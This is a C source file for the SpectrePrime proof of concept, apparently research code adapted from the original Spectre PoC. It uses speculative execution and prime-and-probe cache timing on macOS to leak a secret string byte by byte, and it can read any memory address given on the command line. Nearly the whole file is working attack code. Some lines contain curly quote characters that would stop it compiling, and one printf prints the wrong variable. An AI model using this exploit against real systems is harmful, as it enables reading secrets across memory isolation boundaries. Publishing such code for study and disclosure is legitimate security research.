spectre_prime.c

/*
* =====================================================================================
* Filename: spectreprime-poc.c
* Description: POC SpectrePrime
*
* Version: 0.1
* Created: 01/21/2018
* Revision: none
* Compiler: gcc -pthread spectreprime-poc.c -o poc
* Author: Caroline Trippel
*
* Adapted from POC Spectre
* POC Spectre Authors: Paul Kocher, Daniel Genkin, Daniel Gruss, Werner Haas, Mike Hamburg,
* Moritz Lipp, Stefan Mangard, Thomas Prescher, Michael Schwarz, Yuval Yarom (2017)
* =====================================================================================
*/
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <stdint.h>
#import <mach/thread_act.h>
struct pp_arg_struct
{
    int junk;
    int tries;
    int *results;
};
struct pt_arg_struct
{
    size_t malicious_x;
    int tries;
};
// used for setting thread affinty on macOS
kern_return_t thread_policy_set(
    thread_t thread,
    thread_policy_flavor_t flavor,
    thread_policy_t policy_info,
    mach_msg_type_number_t count);
kern_return_t thread_policy_get(
    thread_t thread,
    thread_policy_flavor_t flavor,
    thread_policy_t policy_info,
    mach_msg_type_number_t *count,
    boolean_t *get_default);
#define handle_error_en(en, msg) \
    do                           \
    {                            \
        errno = en;              \
        perror(msg);             \
        exit(EXIT_FAILURE);      \
    } while (0)
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
uint8_t unused2[64];
uint8_t array2[256 * 512];
volatile int flag = 0;
char *secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler wonat optimize out victim_function() */
void victim_function(size_t x)
{
    if (x < array1_size)
    {
        //__asm__("lfence"); or __asm__("mfence"); /* both break Spectre & SpectrePrime in our experiments*/
        array2[array1[x] * 512] = 1;
    }
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_MISS_THRESHOLD (60) /* assume cache miss if time >= threshold */
int prime()
{
    int i, junk = 0;
    for (i = 0; i < 256; i++)
        junk += array2[i * 512];
    return junk;
}
void test(size_t malicious_x, int tries)
{
    int j;
    size_t training_x, x;
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--)
    {
        _mm_clflush(&array1_size);
        volatile int z = 0;
        for (z = 0; z < 100; z++)
        {
        } /* Delay (can also mfence) */
        /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
        /* Avoid jumps in case those tip off the branch predictor */
        x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
        x = (x | (x >> 16));         /* Set x=-1 if j&6=0, else x=0 */
        x = training_x ^ (x & (malicious_x ^ training_x));
        /* Call the victim! */
        victim_function(x);
    }
}
void probe(int junk, int tries, int results[256])
{
    int i, mix_i;
    volatile uint8_t *addr;
    register uint64_t time1, time2;
    for (i = 0; i < 256; i++)
    {
        mix_i = ((i * 167) + 13) & 255;
        addr = &array2[mix_i * 512];
        time1 = __rdtscp(&junk);         /* READ TIMER */
        junk = *addr;                    /* MEMORY ACCESS TO TIME */
        time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
        if (time2 >= CACHE_MISS_THRESHOLD && mix_i != array1[tries % array1_size])
            results[mix_i]++; /* cache hit - add +1 to score for this value */
    }
}
void *primeProbe(void *arguments)
{ //int junk, int tries, int results[256]) {
    struct pp_arg_struct *args = arguments;
    int junk = args->junk;
    int tries = args->tries;
    int *results = args->results;
    prime();
    while (flag != 1)
    {
    }
    flag = 0;
    probe(junk, tries, results);
}
void *primeTest(void *arguments)
{ //size_t malicious_x, int tries) {
    struct pt_arg_struct *args = arguments;
    size_t malicious_x = args->malicious_x;
    int tries = args->tries;
    prime();
    test(malicious_x, tries);
    flag = 1;
}
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2])
{
    static int results[256];
    int tries, i, j, k, junk = 0;
    pthread_t pp_thread, pt_thread;
    struct pp_arg_struct pp_args;
    struct pt_arg_struct pt_args;
    pt_args.malicious_x = malicious_x;
    pp_args.results = results;
    pp_args.junk = junk;
    for (i = 0; i < 256; i++)
        results[i] = 0;
    for (tries = 999; tries > 0; tries--)
    {
        pp_args.tries = tries;
        pt_args.tries = tries;
        // heuristics to encourge thread affinity on macOS
        // https://developer.apple.com/library/content/releasenotes/Performance/RN-AffinityAPI/index.html
        if (pthread_create_suspended_np(&pp_thread, NULL, primeProbe, &pp_args) != 0)
            abort();
        mach_port_t mach_pp_thread = pthread_mach_thread_np(pp_thread);
        thread_affinity_policy_data_t policyData1 = {1};
        thread_policy_set(mach_pp_thread, THREAD_AFFINITY_POLICY, (thread_policy_t)&policyData1, 1);
        if (pthread_create_suspended_np(&pt_thread, NULL, primeTest, &pt_args) != 0)
            abort();
        mach_port_t mach_pt_thread = pthread_mach_thread_np(pt_thread);
        thread_affinity_policy_data_t policyData2 = {2};
        thread_policy_set(mach_pt_thread, THREAD_AFFINITY_POLICY, (thread_policy_t)&policyData2, 1);
        thread_resume(mach_pp_thread);
        thread_resume(mach_pt_thread);
        // join threads
        pthread_join(pp_thread, NULL);
        pthread_join(pt_thread, NULL);
        /* Locate highest & second-highest results results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++)
        {
            if (j < 0 || results[i] >= results[j])
            {
                k = j;
                j = i;
            }
            else if (k < 0 || results[i] >= results[k])
            {
                k = i;
            }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
            break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
    }
    results[0] ^= junk; /* use junk so code above wonat get optimized out*/
    value[0] = (uint8_t)j;
    score[0] = results[j];
    value[1] = (uint8_t)k;
    score[1] = results[k];
}
int main(int argc, const char **argv)
{
    size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */
    int i, j, s, score[2], len = 40;
    uint8_t value[2];
    for (i = 0; i < sizeof(array2); i++)
        array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
    if (argc == 3)
    {
        sscanf(argv[1], "%p", (void **)(&malicious_x));
        malicious_x -= (size_t)array1; /* Convert input value into a pointer */
        sscanf(argv[2], "%d", &len);
    }
    printf("Reading %d bytes:\n", len);
    while (--len >= 0)
    {
        printf("Reading at malicious_x = %p... ", (void *)malicious_x);
        readMemoryByte(malicious_x++, value, score);
        printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=%c score=’%d’ ",
value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : ’?’),
score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X=%c score=%d)", value[1], (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[1]);
printf("\n");
    }
    return (0);
}